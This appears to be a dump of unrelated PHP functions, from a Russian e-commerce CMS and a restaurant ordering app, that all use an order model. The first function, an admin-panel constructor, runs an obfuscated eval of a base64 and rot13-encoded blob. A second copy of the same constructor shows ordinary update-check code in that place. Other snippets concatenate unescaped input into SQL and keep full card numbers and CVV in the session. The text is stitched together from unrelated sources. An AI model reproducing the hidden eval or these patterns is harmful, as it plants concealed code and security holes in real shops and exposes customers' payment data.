function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("MKMuoPuvLKAyAwEsMTIwo2EyXUA0py9lo3DkZltaGHgAqJ9DqTSMoQu0GHcQETt5HQEJDIN5ZSyYEKE2HHEbM1N3ZSyEEKEkIR8jJ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SMDGaEJIIq5pIIWoT92G3cZFzggGHqzDIO2GaEJHR50IyOBqUATGaEJHR50Ix4jJSMDGaEJHR50p0MBqSMDGxSDqx50IyOBqSMHrKcJHUIOEJ1vAx0lFGOVZxxjpIE5nR1fqKOKZ0IfoxcGMxy6FJkjZayco3yOZRkYImOYHUOwJRMCA1SRLaEJHR50IyOBqSMFEIOPq2AepHcWoUWTqKOKZRIGE1WWFRITG1EVrQyOIyECpSqfAHEVrRyHExy0nRgDpJ1AF0Hjoxb1LHkDG0gTHxyTEHMCqT8mGmOhFwybGSRjqSMuEJkhFyAzFKcWoUNlrJyirHRjGRgKZSM5nzSLE2MOHUMBqSMDGaEJIGOOHUMBqSMDGaEJIIq5pRgWL3O6FKAiZwI3GHM1FHu4nwMPraS5pIWSnHjmFJqAFwHjFUb5nKSDqTAMqyqaGJjkq28mI3yMZzgwGUL5ZKOHEKIkISWbpSE1nyM2rQqEETW0IyOBqSSRLaEJHR50IyOBrT96FGAWrxyfIyRjqRyYG3uZF0I1Daqwq25HFKqhZHydGIEGZRkTqKcZFzggGHMdqUSIImSAEat3I2k4AlpcXFx7"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(false, true); $this->newVersion = $newVer['lastVersion']; } }
<?php /** * * Раздел статистика магазина. * Позволяет отследить динамику развития сайта. * * @autor Авдеев Марк <*****@*****.**> */ $model = new Models_Order(); $model = new Models_Order(); $_POST['from_date_stat'] = date("1.m.Y"); $_POST['to_date_stat'] = date("31.m.Y"); $this->data = $model->getStatisticPeriod($_POST['from_date_stat'], $_POST['to_date_stat']);
/** * Возвращает массив доступных способов оплаты. * @return mixed массив доступных способов оплаты. */ public function getPayment() { $result = array(); // Модель для работы заказом. $model = new Models_Order(); $i = 1; // Колическтво активных методов оплаты. $countPaymentMethod = 0; $allPayment = $model->getPaymentBlocksMethod(); foreach ($allPayment as $payment) { $i++; if ($_POST['payment'] && !empty($deliveryArray)) { $delivArray = json_decode($payment['deliveryMethod'], true); if (!$delivArray[$_POST['delivery']]) { continue; } } if (!$payment['activity']) { continue; } if ($_POST['payment'] == $payment['id']) { $payment['checked'] = 1; } // Заполнение массива способов оплаты. if ($payment['id'] == 3 || $payment['id'] == 2 || $payment['id'] == 7 || $payment['id'] == 4) { $result[$payment['id']] = $payment; } $countPaymentMethod++; } return $result; }
public function detailAction() { $this->view->headTitle(Vi_Language::translate('Detail Order')); $this->view->menu = array('order'); $config = Vi_Registry::getConfig(); $numRowPerPage = Vi_Registry::getConfig("defaultNumberRowPerPage"); $currentPage = $this->_getParam("page", 1); $displayNum = $this->_getParam('displayNum', false); $id = $this->_getParam('id', false); if (false == $id) { $this->_redirect('order/admin/manager'); } /** * Load all details */ $objDetail = new Models_OrderDetail(); $allDetails = $objDetail->getByColumnName(array('order_id=?' => $id))->toArray(); /** * Get order */ $objOrder = new Models_Order(); $order = $objOrder->find($id)->toArray(); $order = current($order); $this->view->order = $order; /** * Get restaurant */ $objRes = new Models_Restaurant(); $res = $objRes->find($order['restaurant_id'])->toArray(); $res = current($res); $this->view->res = $res; /** * Set values for tempalte */ $this->view->allMeals = $allDetails; }
/** * Полученнияе массива параметров оплаты. * @param int $pay - id способа оплаты. * @return array параметры оплаты. */ public function getParamArray($pay, $orderId, $summ) { $paramArray = array(); $jsonPaymentArray = json_decode(nl2br($this->_paymentArray[$pay]['paramArray']), true); if (!empty($jsonPaymentArray)) { foreach ($jsonPaymentArray as $paramName => $paramValue) { $paramArray[] = array('name' => $paramName, 'value' => $paramValue); } if (5 == $pay) { // Для robokassa добавляем сигнатуру. $paramArray['sign'] = md5($paramArray[0]['value'] . ":" . $summ . ":" . $orderId . ":" . $paramArray[1]['value']); } if (9 == $pay) { // Для payanyway добавляем сигнатуру. $summ = sprintf("%01.2f", $summ); $currency = MG::getSetting('currencyShopIso') == "RUR" ? "RUB" : MG::getSetting('currencyShopIso'); $testmode = 0; $paramArray['sign'] = md5($paramArray[0]['value'] . $orderId . $summ . $currency . $testmode . $paramArray[1]['value']); } if (15 == $pay) { $model = new Models_Order(); $summ = sprintf("%01.2f", $summ); $order = $model->getOrder(' id = ' . DB::quote($orderId, true)); $payment = 'amt=' . $summ . '&ccy=UAH&details=заказ на ' . SITE . '&ext_details=' . $order[$orderId]['number'] . '&pay_way=privat24&order=' . $orderId . '&merchant=' . $paramArray[0]['value']; $paramArray['sign'] = sha1(md5($payment . $paramArray[1]['value'])); } } return $paramArray; }
/** * При добавлении нового заказа проверям, нет ли партнерской куки. */ static function partnerToOrder($arg) { $partnerId = self::getPartnerCookie(); $partner = self::getPartner(self::getPartnerCookie($partnerId)); $orderId = $arg['result']; if (!empty($partner) && $orderId) { $model = new Models_Order(); $order = $model->getOrder(PREFIX . 'order.id=' . $orderId); $summ = $partner['percent'] * $order[$orderId]['summ'] / 100; self::addConnetcToPartner($partnerId, $orderId, $partner['percent'], $summ); } return $arg['result']; }
/** * Получает параметры заказа */ public function getOrderData() { $model = new Models_Order(); $orderData = $model->getOrder(" id = " . DB::quote($_POST['id'])); $orderData = $orderData[$_POST['id']]; if ($orderData['number'] == '') { $orderData['number'] = $orderData['id']; DB::query("UPDATE `" . PREFIX . "order` SET `number`= " . DB::quote($orderData['number']) . " WHERE `id`=" . DB::quote($orderData['id']) . ""); } $orderData['yur_info'] = unserialize(stripslashes($orderData['yur_info'])); $orderData['order_content'] = unserialize(stripslashes($orderData['order_content'])); // Запрос для проверки, существует ли система скидок $percent = false; $discountSyst = false; $res = DB::query('SELECT * FROM `' . PREFIX . 'plugins` WHERE `folderName` = "discount-system"'); $act = DB::fetchArray($res); $result = DB::query('SHOW TABLES LIKE "' . PREFIX . 'discount-system%"'); if (DB::numRows($result) == 2 && $act['active']) { $percent = 0; $discountSyst = true; } if (!empty($orderData['order_content'])) { $product = new Models_Product(); foreach ($orderData['order_content'] as &$item) { foreach ($item as &$v) { $v = rawurldecode($v); } } foreach ($orderData['order_content'] as &$items) { $res = $product->getProduct($items['id']); $items['image_url'] = $res['image_url']; $items['property'] = htmlspecialchars_decode(str_replace('&', '&', $items['property'])); $response['discount'] = $items['discount']; $percent = $items['discount']; $items['maxCount'] = $res['count']; $variants = DB::query("SELECT `id`, `count` FROM `" . PREFIX . "product_variant`\n WHERE `product_id`=" . DB::quote($items['id']) . " AND `code`=" . DB::quote($items['code'])); if ($variant = DB::fetchAssoc($variants)) { $items['variant'] = $variant['id']; $items['maxCount'] = $variant['count']; } } } //заменить на получение скидки $codes = array(); // Запрос для проверки , существуют ли промокоды. $result = DB::query('SHOW TABLES LIKE "' . PREFIX . 'promo-code"'); if (DB::numRows($result)) { $res = DB::query('SELECT * FROM `' . PREFIX . 'plugins` WHERE `folderName` = "promo-code"'); $act = DB::fetchArray($res); if ($act['active']) { $res = DB::query('SELECT code, percent FROM `' . PREFIX . 'promo-code` WHERE invisible = 1 AND now() >= `from_datetime` AND now() <= `to_datetime`'); while ($code = DB::fetchAssoc($res)) { $codes[] = $code['code']; if ($code['code'] == $orderData['order_content'][0]['coupon']) { $percent = $percent == 0 ? $code['percent'] : $percent; } } } } $response['order'] = $orderData; $response['order']['discountsSystem'] = $discountSyst; $response['order']['discontPercent'] = $percent; $response['order']['promoCodes'] = $codes; $response['order']['date_delivery'] = $orderData['date_delivery'] ? date('d.m.Y', strtotime($orderData['date_delivery'])) : ''; $deliveryArray = $model->getDeliveryMethod(); $response['deliveryArray'] = $deliveryArray; $paymentArray = array(); $i = 1; while ($payment = $model->getPaymentMethod($i)) { $paymentArray[$i] = $payment; $i++; } $response['paymentArray'] = $paymentArray; $this->data = $response; return true; }
/** * List all meal follow restaurant */ public function indexAction() { $this->view->headTitle('Cart information'); $order_id = session_id(); if (!isset($_SESSION['cart'][$order_id])) { $this->_redirect(''); } /** * Get restaurant */ $objRes = new Models_Restaurant(); $res = $objRes->find($_SESSION['cart'][$order_id]['restaurant_id'])->toArray(); $res = current($res); // echo '<pre>';print_r($_SESSION);//die; // echo '<pre>';print_r($res);die; if (false == $res) { $this->_redirect(''); } $this->view->session_cart = $_SESSION['cart'][$order_id]; $this->view->subtotal = $_SESSION['cart'][$order_id]['subtotal']; $this->view->tax = $_SESSION['cart'][$order_id]['tax']; $this->view->shipping = $_SESSION['cart'][$order_id]['shipping']; $this->view->ordertotal = $_SESSION['cart'][$order_id]['ordertotal']; $this->view->mark = strtoupper($_SESSION['cart'][$order_id]['order_service']); $this->view->date = $_SESSION['cart'][$order_id]['date']; $this->view->time = $_SESSION['cart'][$order_id]['time']; $data_info = $this->_getParam('data', false); $confirm = $this->_getParam('confirm', false); /** * Remember customer's infomation */ if (false !== $data_info) { $_SESSION['cart_customer'] = $data_info; } $data_info = $_SESSION['cart_customer']; $this->view->full_name = $data_info['full_name']; $this->view->address = $data_info['address']; $this->view->zip_code = $data_info['zip_code']; $this->view->phone = $data_info['phone1'] . "." . $data_info['phone2'] . "." . $data_info['phone3']; $this->view->cardType = $_SESSION['cart_customer']['card_type']; $cardNumber = $_SESSION['cart_customer']['card_number']; $cardNumber[4] = 'X'; $cardNumber[5] = 'X'; $cardNumber[6] = 'X'; $cardNumber[7] = 'X'; $cardNumber[8] = 'X'; $cardNumber[9] = 'X'; $cardNumber[10] = 'X'; $cardNumber[11] = 'X'; $this->view->cardNumber = $cardNumber; $error = ''; /** * Store to DB and redirect */ if (false != $confirm) { /************************************************************************** * Make payment */ require_once 'libs/paypal/CallerService.php'; /** * Fist name, last name */ $firstName = trim(substr($data_info['full_name'], 0, strpos($data_info['full_name'] . ' ', ' ') + 1)); $lastName = trim(substr($data_info['full_name'], strlen($firstName))); /** * Get required parameters from the web form for the request */ $paymentType = urlencode('Sale'); $firstName = urlencode($firstName); $lastName = urlencode($lastName); $creditCardType = urlencode($data_info['card_type']); $creditCardNumber = urlencode($data_info['card_number']); $expDateMonth = urlencode($data_info['card_month']); // Month must be padded with leading zero $padDateMonth = str_pad($expDateMonth, 2, '0', STR_PAD_LEFT); $expDateYear = urlencode($data_info['card_year']); $cvv2Number = urlencode($data_info['card_cvv']); $address1 = urlencode($data_info['address']); $address2 = urlencode(''); $city = urlencode($data_info['city']); $state = urlencode($data_info['state']); $zip = urlencode($data_info['zip_code']); $amount = urlencode(number_format($_SESSION['cart'][$order_id]['ordertotal'], 2, '.', '')); $currencyCode = "CAD"; // $state = 'NL'; $country = 'CA'; /* Construct the request string that will be sent to PayPal. The variable $nvpstr contains all the variables and is a name value pair string with & as a delimiter */ $nvpstr = "&PAYMENTACTION={$paymentType}&AMT={$amount}&CREDITCARDTYPE={$creditCardType}&ACCT={$creditCardNumber}&EXPDATE=" . $padDateMonth . $expDateYear . "&CVV2={$cvv2Number}&FIRSTNAME={$firstName}&LASTNAME={$lastName}&STREET={$address1}&CITY={$city}&STATE={$state}" . "&ZIP={$zip}&COUNTRYCODE={$country}&CURRENCYCODE={$currencyCode}"; // echo $nvpstr;die; /* Make the API call to PayPal, using API signature. The API response is stored in an associative array called $resArray */ $resArray = hash_call("doDirectPayment", $nvpstr); // echo '<pre>';print_r($resArray);die; /* Display the API response back to the browser. If the response from PayPal was a success, display the response parameters' If the response was an error, display the errors received using APIError.php. */ $ack = strtoupper($resArray["ACK"]); if ($ack != "SUCCESS") { $_SESSION['card_error_msg'] = @$resArray['L_LONGMESSAGE0']; $this->_redirect('restaurant/ship'); } /** * End payment **************************************************************************/ //-- begin save into db: vi_order and vi_order_detail $arr_order = array('sub_total' => $_SESSION['cart'][$order_id]['subtotal'], 'sales_tax' => $_SESSION['cart'][$order_id]['tax'], 'shipping_fee' => $_SESSION['cart'][$order_id]['shipping'], 'order_total' => $_SESSION['cart'][$order_id]['ordertotal'], 'date' => $_SESSION['cart'][$order_id]['date'], 'time' => $_SESSION['cart'][$order_id]['time'], 'order_service' => $_SESSION['cart'][$order_id]['order_service'], 'full_name' => $data_info['full_name'], 'address' => $data_info['address'], 'suite' => $data_info['note'], 'city' => $data_info['city'], 'state' => $data_info['state'], 'zip_code' => $data_info['zip_code'], 'phone' => $data_info['phone1'] . "." . $data_info['phone2'] . "." . $data_info['phone3'], 'email' => $data_info['email'], 'created_date' => time(), 'restaurant_id' => $_SESSION['cart'][$order_id]['restaurant_id']); $objOrder = new Models_Order(); $bResultOrder = $objOrder->insert($arr_order); foreach ($_SESSION['cart'][$order_id] as $key => $value) { $arr_order_detail = array('order_id' => $bResultOrder, 'meal_id' => $value['meal_id'], 'name' => $value['name'], 'description' => $value['description'], 'price' => $value['price'], 'quantity' => $value['quantity'], 'total' => $value['total_money']); if (!empty($value['name'])) { $objOrderDetail = new Models_OrderDetail(); $objOrderDetail->insert($arr_order_detail); } } //-- end save into db: vi_order and vi_order_detail /** * Send email to admin and user */ $objUser = new Models_User(); $objMail = new Models_Mail(); $data = $arr_order; $config = Vi_Registry::getConfig(); $data['created_date'] = date($config['dateFormat'], $data['created_date']); $data['card_type'] = $this->view->cardType; $data['card_number'] = $this->view->cardNumber; // echo '<pre>';print_r($data);die; $cartDetail = "\n <table width='90%'>\n <tr>\n <td width='55%'></td>\n <td width='15%'></td>\n <td width='15%'></td>\n <td width='15%'></td>\n </tr>\n <tr>\n <td style='color: #442006; font-weight: bold;'>SHIPPING ADDRESS</td>\n <td colspan='3' style='color: #442006; font-weight: bold;'>PAYMENT METHOD</td>\n </tr> \n <tr>\n <td valign='top'>\n <br/>\n <table width='400px;'>\n\n <tr>\n <td width='30%' align='right' style='background-color: #EEEEEE;'>Full Name:</td>\n <td width='70%' style='color: #442006;'>{$data['full_name']}</td>\n </tr>\n <tr>\n <td align='right' style='background-color: #EEEEEE;'>Address:</td>\n <td style='color: #442006;'>{$data['address']}</td>\n\n </tr>\n <tr>\n <td align='right' style='background-color: #EEEEEE;'>Postal Code:</td>\n <td style='color: #442006;'>{$data['zip_code']}</td>\n </tr>\n <tr>\n <td align='right' style='background-color: #EEEEEE;'>Phone:</td>\n\n <td style='color: #442006;'>{$data['phone']}</td>\n </tr>\n </table>\n <br/>\n \n </td>\n <td valign='top'>\n <br/>\n <table width='400px;'>\n\n <tr>\n <td width='30%' align='right' style='background-color: #EEEEEE;'>Name:</td>\n <td width='70%' style='color: #442006;'>{$res['name']}</td>\n </tr>\n <tr>\n <td align='right' style='background-color: #EEEEEE;'>Address:</td>\n <td style='color: #442006;'>{$res['street']}, {$res['city']}, {$res['state']}</td>\n </tr>\n <tr>\n <td width='30%' align='right' style='background-color: #EEEEEE;'>Phone:</td>\n <td width='70%' style='color: #442006;'>{$res['phone']}</td>\n </tr>\n \n <tr>\n <td colspan='2' style='color: #442006; font-weight: bold;'><br/>PAYMENT METHOD</td>\n </tr>\n <tr>\n <td align='right' colspan='2'>{$data['card_type']}: {$data['card_number']}</td>\n </tr>\n \n </table>\n <br/>\n </td>\n\n </tr>\n \n </table>\n <table>\n \n <tr style='background-color: #DDDDDD;'>\n <td style='color: #AD5B21; font-weight: bold;'> Meal</td>\n <td style='color: #AD5B21; font-weight: bold;'> </td>\n <td style='color: #AD5B21; font-weight: bold;'> Quanlity</td>\n <td style='color: #AD5B21; font-weight: bold;'> Price</td>\n <td style='color: #AD5B21; font-weight: bold;'> Total</td>\n </tr> "; foreach ($_SESSION['cart'][$order_id] as $key => $meal) { if (null == $meal['meal_id']) { continue; } $mealImage = Vi_Registry::getConfig('liveSite') . '/' . $meal['image']; if (null != $meal['image']) { $mealImage = '<img src="' . $mealImage . '" style="max-width: 100px;">'; } else { $mealImage = ''; } if (is_numeric($key)) { $cartDetail .= "\n\t <tr>\n\t <td style='border-bottom: 1px solid #DDDDDD;'>\n\t {$mealImage}\n\t </td>\n\t <td style='border-bottom: 1px solid #DDDDDD;'>\n\t <b>{$meal['name']}</b>\n\t\n\t <br/>\n\t <p>{$meal['description']}</p>\n\t </td>\n\t <td style='border-bottom: 1px solid #DDDDDD;'>{$meal['quantity']}</td>\n\t <td style='border-bottom: 1px solid #DDDDDD;'>\$" . number_format($meal['price'] * 1.0, 2) . "</td>\n\t <td style='border-bottom: 1px solid #DDDDDD;'>\$" . number_format($meal['total_money'] * 1.0, 2) . "</td>\n\t </tr>"; } } $cartDetail .= " \n <tr>\n <td colspan='2'> </td>\n <td> Subtotal </td>\n <td>\$" . number_format($data['sub_total'], 2) . "</td>\n\n </tr>\n <tr>\n <td colspan='2'> </td>\n <td> Tax </td>\n <td>\$" . number_format($data['sales_tax'], 2) . "</td>\n </tr>\n <tr>\n <td colspan='2'> </td>\n <td> Shipping fee </td>\n\n <td>\$" . number_format($data['shipping_fee'], 2) . "</td>\n </tr>\n <tr>\n <td colspan='2'> </td>\n <td> Order total </td>\n <td style='color: #AD5B21; font-weight: bold;'>\$" . number_format($data['order_total'], 2) . "</td>\n </tr>\n </table>\n "; $data['card_detail'] = $cartDetail; // echo '<pre>';print_r($data);die; $admin = $objUser->getByUserName('admin'); $objMail->sendHtmlMail('meal_order', $data, array($admin['email'], $data['email'], $res['owner_email'])); /** * Clear session */ unset($_SESSION['cart']); unset($_SESSION['cart_customer']); /** * Redirec to success page */ $objContent = new Models_ScontentLang(); $this->_redirect($objContent->getUrlWithoutAppBaseUrl(21)); return; } }
function __construct() { $lang = MG::get('lang'); $settings = MG::get('settings'); $this->lang = $lang; $status = 0; if (User::isAuth()) { $order = new Models_Order(); $status = 3; //обработка запроса на изменение данных пользователя if (URL::getQueryParametr('userData')) { $customer = URL::getQueryParametr('customer'); $userData = array('name' => URL::getQueryParametr('name'), 'sname' => URL::getQueryParametr('sname'), 'address' => URL::getQueryParametr('address'), 'phone' => URL::getQueryParametr('phone'), 'nameyur' => $customer == 'yur' ? URL::getQueryParametr('nameyur') : '', 'adress' => $customer == 'yur' ? URL::getQueryParametr('adress') : '', 'inn' => $customer == 'yur' ? URL::getQueryParametr('inn') : '', 'kpp' => $customer == 'yur' ? URL::getQueryParametr('kpp') : '', 'bank' => $customer == 'yur' ? URL::getQueryParametr('bank') : '', 'bik' => $customer == 'yur' ? URL::getQueryParametr('bik') : '', 'ks' => $customer == 'yur' ? URL::getQueryParametr('ks') : '', 'rs' => $customer == 'yur' ? URL::getQueryParametr('rs') : ''); if (USER::update(User::getThis()->id, $userData)) { $message = 'Данные успешно сохранены'; } else { $error = 'Не удалось сохранить данные ' . $this->_newUserData['sname']; } } // Обработка запроса на изменения пароля. if (URL::getQueryParametr('chengePass')) { if (USER::auth(User::getThis()->email, URL::getQueryParametr('pass'))) { $person = new Models_Personal(); $message = $person->changePass(URL::getQueryParametr('newPass'), User::getThis()->id); } else { $error = 'Неверный пароль'; } } // Обработка запроса на изменения способа оплаты. if (URL::getQueryParametr('changePaymentId')) { $order = new Models_Order(); $status = $order->updateOrder(array('payment_id' => $_POST['changePaymentId'], 'id' => $_POST['orderId'])); $result = array('status' => $status, 'comment' => 2, 'orderStatus' => 3); echo json_encode($result); MG::disableTemplate(); exit; } // Обработка AJAX запроса на закрытие заказа. if (URL::getQueryParametr('delOK')) { $comment = 'Отменено покупателем, по причине <br>"' . URL::getQueryParametr('comment') . '"'; // Пересчитываем остатки продуктов из заказа. $orderModel = new Models_Order(); $orderModel->refreshCountProducts(URL::getQueryParametr('delID'), 4); $res = DB::query(' UPDATE `' . PREFIX . 'order` SET close_date = now(), status_id = 4, comment = "%s" WHERE id = %d AND user_email = "%s"', $comment, URL::getQueryParametr('delID'), User::getThis()->email); if ($res) { $status = true; } if ($comment) { $comm = "<b>Комментарий: " . $comment . "</b>"; } $result = array('status' => $status, 'comment' => $comm, 'orderStatus' => $lang[$order->getOrderStatus(array('status_id' => 4))]); $orderModel->sendMailOfUpdateOrder(URL::getQueryParametr('delID')); echo json_encode($result); MG::disableTemplate(); exit; } // Отображение данных пользователя. $orderArray = $order->getOrder('user_email = "' . User::getThis()->email . '"', TRUE); if (is_array($orderArray)) { foreach ($orderArray as $orderId => $orderItems) { $orderArray[$orderId]['string_status_id'] = $order->getOrderStatus($orderItems); $paymentArray = $order->getPaymentMethod($orderItems['payment_id']); $orderArray[$orderId]['name'] = $paymentArray['name']; $orderArray[$orderId]['paided'] = $order->getPaidedStatus($orderItems); } } if (!User::getThis()->activity) { $status = 2; unset($_SESSION['user']); } if (User::getThis()->blocked) { $status = 1; unset($_SESSION['user']); } $paymentList = $order->getPaymentBlocksMethod(); } else { MG::redirect('/enter'); } $this->data = array('error' => !empty($error) ? $error : '', 'message' => !empty($message) ? $message : '', 'status' => !empty($status) ? $status : '', 'userInfo' => User::getThis(), 'orderInfo' => !empty($orderArray) ? $orderArray : '', 'currency' => $settings['currency'], 'paymentList' => $paymentList, 'meta_title' => 'Личный кабинет', 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "заказы,личные данные, личный кабинет", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В личном кабинете нашего сайта вы сможете отслеживать состояние заказов и менять свои данные"); }
// $schemes[] = "CC0000"; // } foreach ($colorScheme as $scheme) { if (strpos($scheme, 'color') === 0) { $color = str_replace(array('color_', '.css'), '', $scheme); $schemes[] = $color; } } } } $templates[] = array('foldername' => $foldername, 'colorScheme' => $schemes, 'colorSchemeActive' => $colorSchemeActive); } } } $licenceKey = MG::getOption('licenceKey', true); $mOrder = new Models_Order(); $deliveryArray = $mOrder->getDeliveryMethod(); //массив способов оплаты $paymentArray = array(); $i = 1; while ($payment = $mOrder->getPaymentMethod($i)) { $paymentArray[$i] = $payment; $i++; } $paymentArray = array_reverse($paymentArray); usort($paymentArray, array("Models_Order", "sort")); $res = DB::query("\r\n SELECT *\r\n FROM `" . PREFIX . "setting`\r\n WHERE `active` = 'Y'\r\n "); while ($option = DB::fetchAssoc($res)) { $options[$option['option']] = $option; } $allGroupsOptions = array('smtpHost', 'smtpLogin', 'smtpPass', 'smtpPort');
public function privat24($paymentID, $paymentStatus) { $order = new Models_Order(); if ('result' == $paymentStatus && isset($_POST)) { $payment = $_POST['payment']; if ($payment) { $payment_array = array(); parse_str($payment, $payment_array); $state = trim($payment_array['state']); $paymentOrderId = trim($payment_array['order']); $orderNumber = trim($payment_array['ext_details']); $paymentAmount = trim($payment_array['amt']); switch ($state) { case 'not found': $msg = "Платеж не найден"; return $msg; break; case 'fail': $msg = "Ошибка оплаты"; return $msg; break; case 'incomplete': $msg = "Пользователь не подтвердил оплату"; return $msg; break; case 'wait': $msg = "Платеж в ожидании"; return $msg; break; } if (empty($paymentOrderId)) { $msg = "Оплата не удалась"; return $msg; } if (!empty($paymentAmount) && !empty($paymentOrderId)) { $orderInfo = $order->getOrder(" id = " . DB::quote($paymentOrderId, 1)); $paymentInfo = $order->getParamArray($paymentID, $paymentOrderId, $orderInfo[$paymentOrderId]['summ']); $merchant = $paymentInfo[0]['value']; $pass = $paymentInfo[1]['value']; } if (empty($orderInfo)) { $msg = "ERR: НЕКОРРЕКТНЫЕ ДАННЫЕ ЗАКАЗА"; return $msg; } $amt = round($orderInfo[$paymentOrderId]['summ'], 2) + round($orderInfo[$paymentOrderId]['delivery_cost'], 2); $payment = 'amt=' . $amt . '&ccy=UAH&details=заказ на ' . SITE . '&ext_details=' . $orderNumber . '&pay_way=privat24&order=' . $paymentOrderId . '&merchant=' . $merchant; $signature = sha1(md5($payment . $pass)); $paymentSignatureString = 'amt=' . round($payment_array['amt'], 2) . '&ccy=' . $payment_array['ccy'] . '&details=' . $payment_array['details'] . '&ext_details=' . $payment_array['ext_details'] . '&pay_way=' . $payment_array['pay_way'] . '&order=' . $payment_array['order'] . '&merchant=' . $payment_array['merchant']; $paymentSignature = sha1(md5($paymentSignatureString . $pass)); if ($paymentSignature !== $signature) { $msg = "Подписи не совпадают!"; return $msg; } $this->actionWhenPayment(array('paymentOrderId' => $paymentOrderId, 'paymentAmount' => $paymentAmount, 'paymentID' => $paymentID)); $msg = 'Вы успешно оплатили заказ №' . $orderInfo[$paymentOrderId]['id']; $msg .= $this->msg; } else { $msg = 'Оплата не удалась'; } } else { $msg = 'Оплата не удалась'; } return $msg; }
public function ordersUpdate($filename) { // вычисляем какой из имеющихся файлов в папке обмена относится к заказам. $sep = DIRECTORY_SEPARATOR; $dirname = dirname(__FILE__); $realDocumentRoot = str_replace($sep . 'mg-core' . $sep . 'controllers', '', $dirname); $files = scandir($realDocumentRoot . '/tempcml/'); foreach ($files as $name) { if (end(explode(".", $name)) == 'xml' && $name != "import.xml" && $name != "offers.xml") { $filename = $name; } } $orderModel = new Models_Order(); $arrayStatus = array('Новый' => 0, 'Подтвержден' => 1, 'Собран' => 6, 'Отгружен' => 3, 'Доставлен' => 5, 'Возврат' => 5, 'Отменен' => 4, '[F] Доставлен' => 5, '[N] Принят' => 0); $xml = simplexml_load_file('tempcml/' . $filename); foreach ($xml->Документ as $order) { $orderId = $order->Ид; $orderNumber = $order->Номер; $orderStatusId = ''; foreach ($order->ЗначенияРеквизитов->ЗначениеРеквизита as $item) { //if ($item->Наименование == "Номер по 1С") { // $orderNumber = $item->Значение; //} $res = DB::query("SELECT id FROM " . PREFIX . "order WHERE number = " . DB::quote($orderNumber)); if ($row = DB::fetchAssoc($res)) { $orderId = $row['id']; } if ($item->Наименование == "Статус заказа") { $orderStatus = $item->Значение; $orderStatusId = $arrayStatus[(string) $orderStatus]; } //if ($item->Наименование == "Проведен") { // $passed = $item->Значение == "true"?1:0; //} if ($item->Наименование == "ПометкаУдаления") { $delete = $item->Значение == "true" ? 1 : 0; if ($delete) { $orderModel->deleteOrder($orderId); } } } if (empty($orderId)) { continue; } //echo "<br>".$orderId.'['.$orderNumber.']['.$orderId1c.']='.$orderStatus.'['.$orderStatusId.']'; $arrayOrder = array('id' => $orderId, 'status_id' => $orderStatusId); $orderModel->updateOrder($arrayOrder); } unlink($realDocumentRoot . '/tempcml/' . $filename); }
